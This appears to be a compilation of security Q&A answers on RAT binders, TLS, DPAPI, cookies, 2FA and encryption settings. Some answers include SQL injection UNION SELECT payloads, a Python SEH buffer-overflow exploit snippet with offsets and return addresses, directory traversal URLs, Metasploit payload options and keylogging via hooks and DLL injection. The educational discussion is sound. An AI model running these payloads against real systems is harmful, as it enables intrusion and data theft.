How does Binding Images with Malicious Patches happen?

Sub7 and Bifrost (or any other popular RAT I can think of) have never provided the ability to include malicious code in .jpg or .mp3 files (or any non-executable format).

Sub7 and ProRAT had, however, the ability to pack the malicious binary and a .jpg file (or any other file for that matter) in one self-extracting archive with an icon of your own choice (check the image below). When you clicked on the resulting .exe file, it stealthily extracted the files, installed the backdoor, and then opened the .jpg file with the default image viewer leading the unsuspecting user to believe that everything is okay.

There are other ways to deploy a malicious payload on the victim's machine. For example, the attacker could create a specially crafter image file to exploit a vulnerability in your image viewer, which would allow the attacker to execute arbitrary code including installing backdoors. An example for this is the famous MS06-001 in Windows Graphic Device Interface (GDI).

That is not only limited to image files, one vulnerability in Windows Media Player allowed a specially crafted .mpg file to execute code on the victim's machine.

Selecting the result file format:

Selecting the icon:


How to protect login data against MitM with HTTPS enabled?

... because there is the chance of a compromised root certificate store.

You  effectively assume that the attacker is able to compromise the system where the client is running on. In this case it is impossible to protect the client. While certificate pinning can be used to protect against a modified trust store the attacker can still modify the client itself and thus get to the unencrypted data. Examples for this are browser extensions which have access to the plain data but it can also be done with replacing the TLS library linked to the client application or modifying the client application itself.

Like the name suggests: a man in the middle attack is only about a man in the middle and not about a man in the client. Properly implemented TLS protects against man in the middle but cannot protect against a compromised client or server like in your case. And there is no way to fully protect the data if client or server is already compromised.


SQL Injection - Extracting database data from the page content

The easiest way is to use blind sql injection.  You know if the question you are asking is right or wrong depending on how long the query takes to execute.   This is also the most flexible approach because a blind sql injection exploit will work regardless of the type of sql injection being exploited (blind, non-blind,  select,  insert, update, delete....).

Another approach is to try and identify a visible field on the page while you brute force the number of columns.  Once you find this location on the page,  then you can scrape data from this point (sqlmap does something like this for non-blind injection):

www.vulnerable site.net/articles.php?id =-1 union select 'dsjhfsjhfdf'
www.vulnerable site.net/articles.php?id =-1 union select 'dsjhfsjhfdf','sfjufewjfef'
...

This will work well with MySQL but some database types like postgresql,  the columns in the union select must be the same type.  So the database will also have to be brute-forced.


Blocking ipv6 packets with firewall, if using an ipv4 router

The other answers are misleading, so here is my take:

Yes, you should block IPv6 on the machines firewall or disable IPv6 on the machine altogether.

Here is why:

While the router may not support IPv6 (at this moment) and thus no IPv6 traffic is routed from external devices, the router does act as a Level 2 switch as well, so internally - because IPv6 works fine without a DHCP server - IPv6 traffic might work fine.

Now, since IPv6 is the only way to access some services today, one of your users might establish a IPv6 tunnel through IPv4 (which is possible and not very hard to do) to use this services.

If now the tunnel and/or the machine is badly configured, if may act as an IPv6 router through the IPv4 connection, turning the tides on the whole „IPv6 packets cannot reach that machine“.

It is also worth noting that even leaving the ports open to internal users might pose a security risk. This usually applies to people now knowing about IPv6 being enabled and defining firewall rules for IPv4 and think they are done, until whatever malware (android? Those are basically unpatched carriers of malware to begin with) gains access to your network.


Do SIEM appliances perform similar tasks to non-commercial anti-malware software?

Anti-Virus scans files for malware signatures. It could run on an email gateway or firewall or individual machines

A HIDS runs on individual machines (usually servers) and checks for malware signatures, rootkits, and modified files, and analyzes network activity (for that machine), and log entries. Generally you want your HIDS to report to a central server

A NIDS runs on a dedicated computer or device, usually connected to a mirror port on a switch, or on a network tap. It analyzes network traffic looking for intrusion signatures

Syslog runs on individual machines and logs system and application info. Hopefully you ship these logs to a central server

A SIEM collects data from your HIDS and NIDS and syslog and correlates the info, looking for suspicious interactions

There are open-source SIEMs such as OSSIM


What is the purpose of the entropy parameter for DPAPI.Protect?

The MSDN documentation does a pretty good job of explaining it:

A small drawback to using the logon password is that all applications running under the same user can access any protected data that they know about. Of course, because applications must store their own protected data, gaining access to the data could be somewhat difficult for other applications, but certainly not impossible.

Basically, if someone discovers some protected data (e.g. an encrypted connection string stored in the registry), a simple application running in the context of the of the user could trivially use DPAPI to decrypt the protected data.

To counteract this, DPAPI allows an application to use an additional secret when protecting data. This additional secret is then required to unprotect the data.
Technically, this "secret" should be called secondary entropy. It is secondary because, while it doesn't strengthen the key used to encrypt the data, it does increase the difficulty of one application, running under the same user, to compromise another application's encryption key. Applications should be careful about how they use and store this entropy. If it is simply saved to a file unprotected, then adversaries could access the entropy and use it to unprotect an application's data.

Clearly storing the entropy in plaintext in the same location as the protected data completely defeats the purpose.
The parameter is further explained as follows:
Internal Protect Function

pOptionalEntropy
Pointer to a DATA_BLOB containing additional entropy used to protect the data. The cbData member holds the length of the pbData member's byte string that contains the optional entropy. The DATA_BLOB used in the protection call must also be used in the unprotection call. This is the application specific "secret" mentioned earlier.
This parameter is optional and can be NULL.

Internal Unprotect Function

pOptionalEntropy
Pointer to a DATA_BLOB containing additional entropy used when the data was protected. The cbData member holds the length of the pbData member's byte string that contains the optional entropy. This is the application specific "secret" mentioned earlier.
This parameter is optional and can be NULL. However, if the optional entropy was used in the protection call, that same entropy must be used in the unprotection call.

Therefore you would be able to increase protection against other applications (or even the user) by using the entropy parameter, and making it a little difficult to discover the entropy value.
So, is it OK to store the entropy as plain text (maybe hardcode it)?
Plaintext is probably fine, provided the location is difficult to find or access. Putting it in the same location as the protected data is somewhat pointless.
You won't be able to get "perfect security" against an attack that already has user access and sufficient time and resources. But there are a few little things you can do to slow them down:

If you hard-code the entropy value in the application, it can be found in the binary. But this is more difficult to do.
If you apply a simple transformation (such as XOR) to the entropy value before using it, your application would need to be decompiled or the source-code otherwise compromised in order for an attacker to know what to do.
You could store your entropy value remotely. This means an attacker would need to know where to find it. And need appropriate other credentials to access it. (Of course said other credentials would also need to be accessible to the application, which is why "perfect security" in this scenario is not possible.)


Is it possible to infer advanced cookie properties like expiration from Wireshark

The properties of a cookie are set by the server in the Set-Cookie field of the HTTP response header, or cookies including their properties can be set using JavaScript. In the Cookie field of the HTTP request header  one can only see the value of the cookie, not its attributes.

This means to find out the properties of a cookie you have to either look at the HTTP response which has set the cookie, which might be a while (or even long ago) before the HTTP request using this cookie is send. Or you have to study all the JavaScript which got ever include into the HTML  of the site (i.e. even third party JavaScript) to find out if some cookie was ever set this way and with which attributes. Again, the cookie might have been set long ago.


Are SAN IP addresses / DNS names useless in self signed certificates by untrusted CAs?

If you make an explicit exception to bypass a a certificate warning this exception is only valid for this specific certificate on this specific domain. It does not matter what domains are mentioned in the certificate, the exception is only added for the current domain. Thus, even if you accept a certificate which contains a SAN of paypal.com on your testsite.example.org this certificate will only be trusted for testsite.example.org and this trust can not be used to silently MITM access to paypal.com.

In other words: the specific content of the certificate (CN, SAN, expiration ...) and also the issuer (self-signed, signed by untrusted CA) are irrelevant when adding an explicit exception.


Is using desktop 2FA clients like Authy Desktop a good practice?

You made an assumption that affects your outcome, and you cannot forget that you are making this assumption: that one "likely" gets your password via the desktop computer (i.e. keylogger). If that is your threat analysis, that's perfectly fine, just don't forget that you have made this differentiation.

Since your threat analysis is desktop-based, then yes, your conclusion is correct that adding a security function to the already-assumed-to-be-compromised desktop does not add a layer of security. If one can get your password, then one can get your 2FA code.

But, a desktop 2FA option is not useless if we change our assumptions. If we assume that one is more likely to get our passwords from the services we use (instead of our desktops), or even that one can get passwords from our mobile devices, then the desktop security measure legitimately adds a useful security function.

The ultimate question becomes: what is the most likely vector of password compromise? And that question changes constantly. And that's why being mindful of our threat assessments and reviewing them from time to time is very important.

So, the desktop 2FA option is a valid one, depending on your threat analysis.


Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP?

If there is a remote execution bug in curl or any lib it relies on, there is a chance curl will run arbitrary code. That might be a security risk if you don't patch your system and run this command using a cron job.

To answer your question: Of course, you are exposing your IP to this service, as you are exposing on any router, country and intelligence. But your ip is public anyway, the known default ports will be scanned like any minute as soon as it's booted.

Also if they give you a wrong IP, and you assume it's yours and you connect using ssh for example, your credentials will go to the server they might control. Also there might be a man-in-the middle attack that will result in showing you the wrong IP and trick you into sending credentials or other data to a wrong server.


Can a smart card with PKI certificate be used to protect a document?

You are trying to do authorization with a physical device meant for authentication. This rarely works well.

A smart card is used to authenticate the user, in that it contains a private key which remains under exclusive use of the owner. The certificate is a method by which the link between the public key and the owner's identity are distributed; it is signed by a CA so that the physical medium by which this link information is transferred does not matter; and, in practice, the certificate is also stored on the card because the certificate is most useful when the card is used, so that's a nice emplacement. However, the certificate could also be distributed through some other means, e.g. a big public LDAP server (historically, X.509 certificates were designed to be distributed that way).

None of that tells anybody what a key owner is allowed to do; it only gives some guarantee about the identity of that person (not "what", but "who").

In a given system, once you have ascertained the identity of the requester (that's the authentication part), you have to decide whether the received request should be granted. That second part is called authorization. The really important points here are the following:

Authorization information must be amenable to quick modifications, with a shorter granularity than the typical hours of latency of certificate revocation.
Authorization information is not necessarily defined by the same people/entities who verify identities; i.e., the job of the CA does not naturally include rights management.
Authorization information is sometimes negative so a key owner might not necessarily be trusted for transporting the information which qualifies himself (because the key owner may omit a "rights file" which pinpoints him as an undesirable individual).

For these reasons, what you are trying to do looks like a bad idea. However, being bad never prevented an idea from being standardized. I never saw a situation where "attribute certificates" were really put to good use, though.

On a more incidental plane, usual smart cards cannot embed a lot of public data. A 2 kB certificate is OK, but a 300 kB Word file won't fit.


Directory Traversal: What effect does this '?' and '.' have on the url?

In HTTP URL's everything after the symbol  ? is a part of GET request data.

So In http://127.0.0.1:80/??/etc/issue and http://127.0.0.1:80/.?/etc/issue  the part ?/etc/issue is essentially a data in GET request to URL http://127.0.0.1:80/.

Note here that ?/etc/issue is not a valid file path.

In http://127.0.0.1:80/?./etc/issue the part ./etc/issue is essentially the data in GET request to URL http://127.0.0.1:80/.

Note Here that ./etc/issue  is a valid path. (may be ./etc/passwd is better)

In last case,since the scanner got a  (HTTP/1.1 200) it assumed that it has read the file on server and marked it as vulnerable.

The scanner is expecting something like a HTTP/1.1 404 (Not Found) or HTTP/1.1 302 ( URL redirection) for that page to be not vulnerable.


Since the police would get a court order to have the phone company tap your line, it's unlikely that they would resort to a physical tap - they'd just get the phone company to digitally tap in (or record) your phone calls, or mirror your internet data. Each of which would be completely unnoticed to you (a tap would be much less effective if there were some obvious sign that it was in place).

If someone other than the police is listening to your calls, then it's possible that they could disrupt your ADSL service by clipping some recording or listening device to your phone line.


Is sharing databases's hostname considered to be a security hole?

Hostname/database name wouldn't usually be considered "sensitive" information in that they don't directly provide access to a system, they would just allow an initial connection attempt to be made.  Leaking things like database name publicly might be considered a minor information leak, however that wouldn't apply to communicating them over e-mail/skype etc.

In the scenario you're describing (opening up database access remotely) an important control would be to limit the systems that can connect to the management interface, ideally by source IP address.  This reduces the risk of some random person connecting to the management interface and attempting to compromise it (e.g. by password guessing attacks, or vulnerability in the management software)


Are temporary files an issue when opening and editing an encrypted 7z file?

Yes, the (unencrypted) contents of the temp file can be recovered after they are deleted (I don't think 7-Zip overwrites them before removing), so they can be a problem (assuming an attacker can the BitLocker disk, such as having administrative account privileges (not necessarily voluntarily given, it could be through a compromise) to your booted computer).

7-Zip is Open Source, though, and it should be simple to force it to overwrite temporary files before deletion.


Intercepting JSON responses on BurpSuite

BurpSuite will not intercept server responses by default and display them to you.
To enable this functionality go to:
Proxy -> Options -> Intercept Server Responses
And make sure to check the box next to
Intercept responses based on the following rules
Then either select one of the displayed rules or add one like the highlighted one below:

Also make sure to enable Intercept in the Intecept-tab.


Assuming that the vendors documentation hasn't turned up anything (which is where I'd start looking), you could use a tool like Hash Identifier to give you an idea of what this might be.  Once you've identified the algorithm then it's a question of finding a tool which supports cracking that.  Likely candidates are John or hashcat


Is the sha1 deprecation a problem for **client** certificates?

I understand that the sha1 deprecation is important for server certificates to prevent potential message decryption.

The real problem is that a weak signature algorithm allows the creating of a new certificate with a valid signature by a trusted CA without having this CA involved in this. And this new certificate can then be used to impersonate an existing site, for example during a man in the middle attack.

The same impersonation is possible with client certificates. While this does not lead to a man in the middle attack it might lead to identity theft and unauthorized access in case the client certificate is used to authenticate the user.


Creating a Private Key using Human Intervention

Trying to write password resistance to brute force attacks as an equation: complexity * transformation cost = resistance. Your limiting bound on transformation cost is how long you want to work to verify (or generate a key from) a password each time it is valid. Poor passwords are hard to brute force if the derivation function takes a year to run, but that's also hard to work with as a legitimate case.

The "new traditional" method of generating a key from a password is to run it through PBKDF2. Bcrypt and scrypt are two "stronger" options. When choosing the number of iterations, benchmark and crank that thing up as high as you feel comfortable with based on predicted load. Too low and it's easy to crack. Too high and you'll denial-of-service yourself to death with legitimate operations. The basic litmus is "how many login attempts must I be able to handle per second?" Remember that unlike with password hashing, you cannot increase iterations at a later point in time (unless you re-encrypt everything -- you probably don't want to do that).

Store a random salt with your encrypted data (one for each password / key used) and use that corresponding salt with the password. That will ensure that each password must be individually attacked instead of the whole group at once.


If I connect to VPN through proxy, who can see what?

The security differences between an HTTP and HTTPS proxies varies depending on what you are routing through them:

Clear text (ftp, telnet, HTTP): If the proxy is HTTP, the traffic is transmitted in clear text between your computer and the proxy, and clear text between the proxy and the final destination. If the proxy is HTTPS, the traffic is encrypted between your computer and the proxy, the proxy decrypts it and send it in clear text
Encrypted data (HTTPS, VPN): If the proxy is HTTP, the traffic is encrypted only once: at your computer. The proxy sends the traffic as it is to the destination. If the proxy is HTTPS, it depends on the proxy configuration. In some cases, the traffic is encrypted at your computer using the certificate of the proxy, decrypted by it, reencrypted with the certificate of the destionation, and sent. In other cases, the traffic is encrypted on your computer using the destination certificate, encrypted again with the proxy certificate and sent to the proxy. In turn, the proxy decrypts the traffic using its key, and send the traffic already encrypted with the remote destination certificate to the remote site.

In case of a VPN server, the IP it will see is the proxy's IP. Even if the transaction is started by your computer, this transaction is a sum of two TCP connections: one from your computer to the proxy and the other from the proxy to the VPN server. Each one is independent of the other, so the VPN server have no idea on who is behind the proxy, or even that there's a proxy at all.

A proxy have the same visibility of your packets as does your default gateway. If the proxy is an HTTPS proxy, and you have to install the proxy certificate on your system, it will decrypt all the packets before sending them, so it can see plain text even on HTTPS connections.

You can test if the proxy is reencrypting your data by running a packet sniffer locally and remotely on the same transaction, then comparing the traffic. Create an HTTPS server somewhere (e.g. a free tier server on Amazon), access it using your browser, and check the certificate data on both ends. If they differ, your proxy can see even HTTPS connections.


Implementing a commitment scheme in java

There is a huge variety of commitment schemes out there; they have various characteristics. The simplest commitment scheme is a simple hash, and Java does offer implementation of the most standard hash functions (through the java.security.MessageDigest API). More advanced commitment schemes allow for proving that the commitment is "correct" (the committed data fulfills some algebraic property) without opening it. Many such schemes have been designed, but none is a standard in its own right, so there is no readily available implementation in standard Java.

(That's the difference between a cryptographic algorithm, as described in an academic article, and a standard: the latter states unambiguously where each bit goes, dealing with boring but important issues like endianness and corner cases.)

At least Java does offer some useful tools for implementing cryptographic algorithms, namely BigInteger and hash functions.


I work in an enterprise and have access to reports that show me every program installed on any laptop we manage.  So, yes it is real.  Whether your school has such management tools in place is the question.  I would assume they do if I were you.


How to change default cipher in GnuPG on both Linux and Windows?

If there is no option in the graphical user interface, edit GnuPG's configuration file instead. In the end, graphical user interfaces for GnuPG don't do anything else but calling the GnuPG command line.

Encrypting to Others

There are two options to set the used algorithms for encrypting to other people: cipher-algo [algorithm] and personal-cipher-preferences [algorithm]. Latter is preferred, as it both takes the other user's algorithm capabilities and preferences into account, and complies to the OpenPGP standard; while cipher-algo enforces a given algorithm.

You can look up available algorithms by running gpg --version, on Windows you might have to call gpg.exe --version and cd to the installation directory before. An example output might include:

Cipher: IDEA, 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH,
        CAMELLIA128, CAMELLIA192, CAMELLIA256

To enforce the use of AES256, edit your gpg.conf file and add following line:

personal-cipher-preferences AES256

Receiving Encrypted Messages

You can also set preferences which algorithms you want others to choose when they send encrypted messages to you. This might only be available on the command line, but will have affect no matter what client application the other is using (but remember: it is only a proposal of your preferences, and not enforced, compare with cipher-algo above).

Start the edit menu using gpg --edit-key [key-id] (replacing [key-id] with your key id, and you might have to use gpg.exe again as described above). Inside, you can use showpref to list the currently set up preferences, and setpref to change them. The user interface for doing so is horrible, and you have to provide a long list of cipher, digest and compression algorithms, while the preferred ones always have to be listed first.

An article on debian-administration.org also describes this procedure, and proposes following preferences, which seem reasonable:

setpref SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed


How to validate that a EU List of Trusted Lists is authentic?

The authenticity and integrity of the machine processable version of
  the LOTL is ensured through a digital signature supported by a
  certificate which can be authenticated through a publication in the
  Official Journal of the European Union (OJEU). Since end June 2016,
  the LOTL signing certificates and the location of the LOTL XML file
  are contained in the LOTL itself, as detailed in the EU OJ publication
  OJ C 233 [i.]. This enables relying parties to detect in a machine
  processable way a change in the LOTL signing certificates and/or in
  its location. Any such future change will be reflected in the
  publication of a new instance of the LOTL which will include a new URL
  and/or a modified set of digital certificates for relying parties to
  use when authenticating the LOTL. Starting at the date of issuance of
  the LOTL in which this new information is first published, the new URL
  and/or a modified set of digital certificates can be used by relying
  parties to locate and authenticate the LOTL in replacement of the
  formerly issued information. It is however always possible to the
  European Commission to publish a new publication in the OJEU, for
  instance as a temporary response to an emergency situation requiring
  the immediate replacement of all the digital certificates of the LOTL.

The source is ETSI work document: "Electronic Signatures and Infrastructures (ESI); Signature policies; Part 4: Signature validation policy for European qualified electronic signatures/seals using trusted lists"


Using a home-brewed hash for passwords for a insignificant website

This might make sense under the assumption that an attacker doesn't know how your algorithm works.  Unfortunately that isn't a realistic assumption.

Sometimes the attacker is an insider (in fact, insiders are responsible for roughly 25% of all breaches).  Sometimes an insider accidentally publishes private data (also responsible for roughly 25% of all breaches).  Sometimes an external attacker gets access to not just your database but also your code base.

In all of the above cases your magic sauce is completely useless.  A strong hash function protected by a salt is very resistant to brute force attacks.  Even more so if you add in a pepper which is not stored directly in your code base.  Conveniently, such tools are also well supported and easy to use these days - much easier than writing your own magic sauce.

As a result there really just isn't any good reason to write your own magic sauce.


Is it ok to write OidC Bearer token to log?

If part of the framework is logging INFO messages I would suppress those in a production environment. Chances are in the example given above it would also log a less verbose ERROR level entry?


Is it possible to use a .Net payload with metasploit?

You can do this a few different ways.

First, if your exploit is an EXE-dropping exploit (like psexec), you can set the EXE::Custom advanced option.

Otherwise you can use one of the payloads that allows you to upload (windows/upexec/*) or download (windows/download_exec) a custom executable.


Reading keystrokes of other applications

Oh man, you're in for a treat this evening!

Is it possible for other application running in the OS to read the keystrokes that my application uses?
What about mouse events and window handles?

Absolutely. Windows message processing is really complicated. It works a bit like this:
LRESULT CALLBACK WndProc( HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam )
{

switch ( msg )
{
case WM_CREATE:

case WM_DESTROY:

case WM_COMMAND:

case WM_KEYDOWN:
}
}

and so on. Basically, this function is continually called for each message the graphics system has for your app. Each different type of message is identified by msg, and hwnd gives you your window handle. The information for each type of command is stored in wparam and lparam or some combination thereof.
It turns out there are a huge number of API Hooking Techniques in Windows. The good news is that one of them is SetWindowsHookEx() which allows you to insert your own handler into another application's message pipeline and, well, steal their messages. That's everything - every button pressed, every menu, every resize, create, destroy, mouse move, redraw, keydown, keyup etc that happens on that Window.
There is another way to invite yourself in - use DLL Injection to get your code into the process' address space and then modify the running code.
None of this is easy, but it is certainly possible
Now, you wanted to know about defences. Well, UIPI, or User Interface Privilege Isolation, is one such defence. The privilege level of the process (or Mandatory Integrity Level) controls what other processes can do as that process. Vista uses this trick to isolate certain applications from each other. Next up; Window Stations, Desktops and Sessions. Did you know that when you get that UAC dialog, you're actually running on a separate desktop and consent.exe takes a screenshot of your desktop and pastes it as the background for the new desktop?
Wait what?
Go back a bit. You can have multiple desktops per Window station and, guess what? Well:

Windows inside the Windows OS are children of Desktop objects.

So that means if you create a separate desktop for your application to run in and crucially handles to objects in the main desktop don't show up here. Windows uses this to protect the logon, lock screens, UAC screens. It's also used by me in a product I'm developing, and it's used by KeePass.
These features are fundamental to Vista/Windows 7 and they're unlikely to go away. To make the most of them, leave UAC turned on and possibly read this.
Now, Mac OS X. Disclaimer: I know very little about the OS X stack; however, I am familiar with Linux/X Server. Linux is increasingly moving towards RBAC/MAC-type systems with the introduction of posix capabilities rather than setuid bits and the like. However, in implementing SELinux in X, the developers ran up against a brick wall. X basically runs its server (the desktop) as root (should be sending you warning signals) and desktop applications (clients) connect to it locally and pass in nothing more than a cookie. See X authorization.
Fundamentally, X operates over some kind of transport, making your actions at least sniffable to outsiders if encryption is not used. Firstly, the Linux kernel might just give you permission to capture keystroke with ioperm(). Failing that, if you have the magic cookie, you can use it to connect to the X server and run all sorts of commands. This requires a dodgy setup, of course, but it is feasible.
In terms of adding in isolation between clients and servers, XACE is the SELinux equivalent.
Now, how does this apply to Mac OS X? Well, not a lot - apparently, X11 is deprecated or something. Anyway, internally, Mac OS X uses a rendering engine of its own and its own Windowing code (Cocoa). Well, it turns out with some digging you can intercept messages on Mac OS X too. Cocoa is the desktop API; underneath it uses something called Quartz which also supports taps (source).
I am not fully versed on how this all works - however, I'm imagining it comes down to getting the appropriate privileges and just making the right calls. Mac OS X uses Unix Shared objects, so its callback mechanism will basically use function pointers. I'm not sure what privilege restrictions are there.
If anyone knows more about OS X, do feel free to take what I've said and expand on it in your own answer :)


Why client certificate at TLS handshake at all?

Is the two method: client certificate and javascript-API call, the same in terms of security?

Both methods rely upon the client having a private key signed by some authority that the server trusts.  So in theory, they can be equivalent - in practice, the TLS library code of the client is probably much more vetted than whatever API you're going to scheme up.  That's not to say you can't make it secure; just be careful and get it reviewed by people who understand crypto.

  Then I ask myself, what was the reason to use the client certificate
  to initialise TLS in the first place? Why TLS includes the concept of
  initialising TLS with client certificate at all? It looks only to make
  systems harder to use without security advantages.

TLS client certificates are an optional, inline method of providing authentication.  You are viewing the inline part of that as a negative, because you'd like to be fancy and do something different.  However, for many uses, that inline aspect is a plus.

The sort of contortion you're proposing, where you're adding an application-layer step, is only useful where you've got control of the client, the server, and the protocol.  But recall that TLS has been a bolt-on security layer which has often been used for applications and protocols that have no idea it's being used, where there is no ability to execute custom code on the client.  For those situations, having a uniform and reliable method of client authentication baked into the libraries is a huge win.


Whom should I save the pc from?

If the desktop application is not listening on a port, it means if there is a potential vulnerability, it can only be exploited locally. The attacker might have exploited another vulnerability and now looking for privilege escalation or persistence. Don't always assume a vulnerable desktop application would result in privilege escalation though. It depends on the vulnerability itself. For example, if the application is running with standard user privileges, even if the attacker exploits it in some way (e.g. buffer overflow, arbitrary file access etc), it won't normally result in privilege escalation. If the application is running with administrative or more privileges, then any vulnerability in the application would result in attacker gaining the same privileges the application is running with.


Stack Buffer Overflow using SEH in Simple Web Server 2.2rc2

Are your offsets correct? I had a quick look and I got these offsets when running it through immunity:

[junk, 2260 bytes][Jump to exploit, 4 bytes][pop pop ret, 4 bytes][exploit, 728 bytes]

My python snippet is:

exploit = 'GET / HTTP/1.0\r\n'
exploit += 'Host: 172.16.139.134\r\n'
junk = '\x41' * 2260
jmp = '\xeb\x0b\x90\x90'
ppr = '\x7e\x44\xc5\x6f'
break = '\xcc' * 728
exploit += 'Connection: ' + junk + jmp + ppr + break + '\r\n\r\n'

Ta

Edit: I see that you have debugged and your shell code crashes the app, apologies!


In theory, no that's not sufficient - there could potentially be examples of ransomware which can modify NTFS permissions, since they would be running on your machine, so potentially have access to anything which can be changed in software.

In practice, I've not so far seen any ransomware which does this (although some do change permissions on system folders and partitions containing restore data), so it might currently be safe. I still wouldn't rely on it though, since it's entirely possible that a new strain of ransomware will come out tomorrow which specifically targets files with write protect flags set!

There is a device known as a "write blocker" which is available and is designed to allow data to be read from a drive whilst preventing data being written back to it. Using one of those with your drive would work as protection, but could be somewhat inconvenient, and they aren't especially cheap. You can also get external drive caddies which offer physical write protection switches, which might be an option if you're wanting to take your data on the move for use on other computers.


How do mobile apps maintain such long sessions while still being considered secure?

There are two specific security measures that help protect against the session-hijacking-and-place-fraud-order attacks that you are worried about:

The authentication tokens can be tied to the device, because the mobile app has easy access regarding the (mobile) account and device-specific ID (UDID) the auth token can be easily revoked if it is used for the wrong device, or in the wrong context.  That isn't technically a foolproof restriction because the actual service is happening over HTTP calls (which can be "spoofed" by a malicious user), but this means that actually taking advantage of a stolen auth token will require things like: the auth token, the device UDID (and potentially more identifying information), and detailed knowledge of the API calls used by amazon to place orders.  The risk is definitely low.
The other protection is that amazon doesn't just let you change addresses.   Even if someone gained access to your account they can't just place an order to themselves.  A general security measure amazon has had in place for a long time is that if an order is sent to a new address you must re-enter any stored credit card numbers.  This makes it impossible to send yourself stuff if you gain access to someone else's account.  You could get around this, of course, if you also had access to their credit card information, but as we all know, at that point in time the malicious user wouldn't bother using your account to place the fraudulent order.

So in short, the actual risk to amazon for doing this is very low, and the potential lost revenue due to making people log back in is (I'm sure) much higher, which is why they let long lasting sessions persist on their servers.

It's worth pointing out that there is more at stake here than simply fraudulent orders.  This one is worth a read:

https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/


Can a "client-initiated" session cookie provide more privacy and security than existing session alternatives?

I don't think this will provide any benefit. On a secure web application, the less you depend on client data, the better.

I can see some issues:

This will surely create a vulnerability named Session Fixation: an attacker can create a session, lure your client to a special page, and have the session data on his hands.
The server has no means to know if a session sess12345678 is being cloned, or the client switched IP, or if the client is using a load balancing proxy. If you lock the session to an IP, mobile clients can have trouble.
If your client application token have not sufficient entropy, it's trivial to an attacker to bruteforce lots of possible values.
Any cookie created by your application can be read by Javascript, so an XSS can send them all to an attacker.
You are increasing substantially the complexity on the server side, because you will have to validate both the cookie name and value.
Creating a cryptographic secure cookie and value on the client can be hard, and the generation can be easily spoofed or bypassed by an attacker.

I would stick to secure cookies to authenticate the users.


Is there something fishy on Kaspersky Internet Security or I am missing something?

I encountered this on Windows 10 in combination with Kaspersky 11.

Other security software may interfere with the functionality and can cause this to happen or updates to actually be up to date but not show so.

A complete reinstall of Kaspersky  usually fixes the problem because at reinstall it also rebuilds the necessary security settings that may otherwise cause interference.

Also, make sure licensing is fine, since if license expires certain functionalities will be suspended.

The core problem though is most likely to be a Windows update. Many times I found them to cause security programs including Kas not to work anymore after update. Having an additional security program like the ones for document encryption only increases the incompatibility of windows updates with everything else security related.


No, unless you used letters that are not common and entered your password a LOT.  The most commonly used letters of the English language are EATONDSR, I believe.  So if your password contained any of those letters, it would be impossible to know whether you used them in your password or in standard keyboarding.  If, however, you used JXQZ in your password, those would have abnormal wear on them relative to someone who didn't use them.  That might give an adversary a starting point.  However, you would (again) need to enter your password a LOT.

Keep in mind that you generally enter your password once per session.  If you type e-mails, documents, or do other text work the noise to signal ratio would be very high.  The keys used for standard text work would wear LONG before the keys used for your password would.  Even typing your question here created a high signal-noise ration in terms of wear on the keyboard.  Because of that, it would take someone very dedicated to do this.  It would be a lot easier to  attack the machine a different way than to analyze your keyboard.

Edit:  Even if you only entered your password on the keyboard and then used only the mouse, the attacker would only be able to find the keys that get pressed.  They would have no idea of the length of the password and, if you used the shift key once in the sequence, no idea of where you used the shift key.  That reduces the number of possibilities from infinity to a pretty huge universe.  They'd still need to try every possible combination of those letters, out to the max possible length.


Authenticating Users from Android with PHP Webservice

You want to use an encrypted channel (SSL for example) for the login and give some type of a session identifier back to the application.  That session identifier should then either be used to sign later requests or can simply be included with the requests as long as it is provided over a secured connection (such as SSL).

The easiest way is just to do everything over SSL so that only the client and server can take part in the communication and the client can verify itself while only having to login once.


Clarification on organized cyber crime concept

I have a lot of experience with this subject and it probably meets the requirements of what can be defined as 'organised crime'. I'm going to drop the word 'cyber' as it is implied by the type of crime it is

There is no single legal definition of what that means. But in general the following requirements are usually met; the crime is serious, planned, coordinated and perpetrated by individuals working together in a ongoing basis.

Without knowing all the facts, (no one does) this is probably organised crime, as there appears to be evidence of each of the above requirements.

It will be down to the authority conducting the investigation to produce an evidential case that they can take to court and gain convictions.

Convictions on what, will be down to legal teams and lawyers. This would need to be done before we can really define this as organised crime, even then it could be difficult to define. For example; there have been cases of terror legislation being used against various computer misuse cases in which the perpetrators definitely were not terrorists.

It is a gray area, but for the purposes and standards required for a presentation, I would say on the face of it, the Ashley Madison case passes the test to be labelled organised crime. Even if it does not meet the definition of what many would consider traditional organised crime, which in itself has a morphing and evolving definition.

Regardless it is definitely a serious crime so it will fall under the same/similar remit.


Can a client prove to a third party that they sent a message to another client in a P2P network?

An interesting question, related to the topic of non-repudiation. In this case, the thing Bob wants to do is repudiate having ever received the message. Here's one way to build a system which is secure against that:
All members of the P2P network have a public/private key pair (this is useful for lots of other things too, like end-to-end encryption). For the purposes of this question, we'll assume that the public keys of Alice and Bob are known both to each other and to the boss.
To ensure non-repudiation of messages both sent and received, the P2P software/protocol is such that:

When a message is sent, the sender uses their private key to create a signature of the message, the timestamp, and a sequence number (unique identifier). These values and the resulting signature are transmitted along with the message itself. Now, the recipient can always prove that the sender sent the message and can't fake when it was sent.
When a message is received, the recipient signs the message (including the sender's signature, timestamp, sequence number, etc.) with their receipt timestamp, using their (recipient's) private key, and sends that signature back to the sender. Until the sender receives (and verifies) this countersignature from the recipient, the message is considered undelivered; the sender can see an indication of message state. Thus, if the sender ever sees that the message is delivered, they can prove that it showed up on the recipient's chat client, and when.
Both signatures and all their metadata, on every message, are stored in both clients.

Now, given these properties, let's look at how we might try to attack the system:

Alice uses a modified client that will sign a message and display it as being sent with the desired timestamp, even if no such message was sent. There's no way to prove that it wasn't sent at that time, either. However, because the message doesn't have a valid recipient signature, it'll be clear that the message wasn't ever received, and if Alice wasn't lying, she should have noticed that the message wasn't received and done something about that.
Bob uses a modified client that will let him see incoming messages without acknowledging receipt of them yet. Bob uses this to have messages that he wants to pretend he never saw just "silently fail" without ever sending the countersignature. However, in this case Alice will see that Bob's client "never received" the message, and will try to reach him some other way.
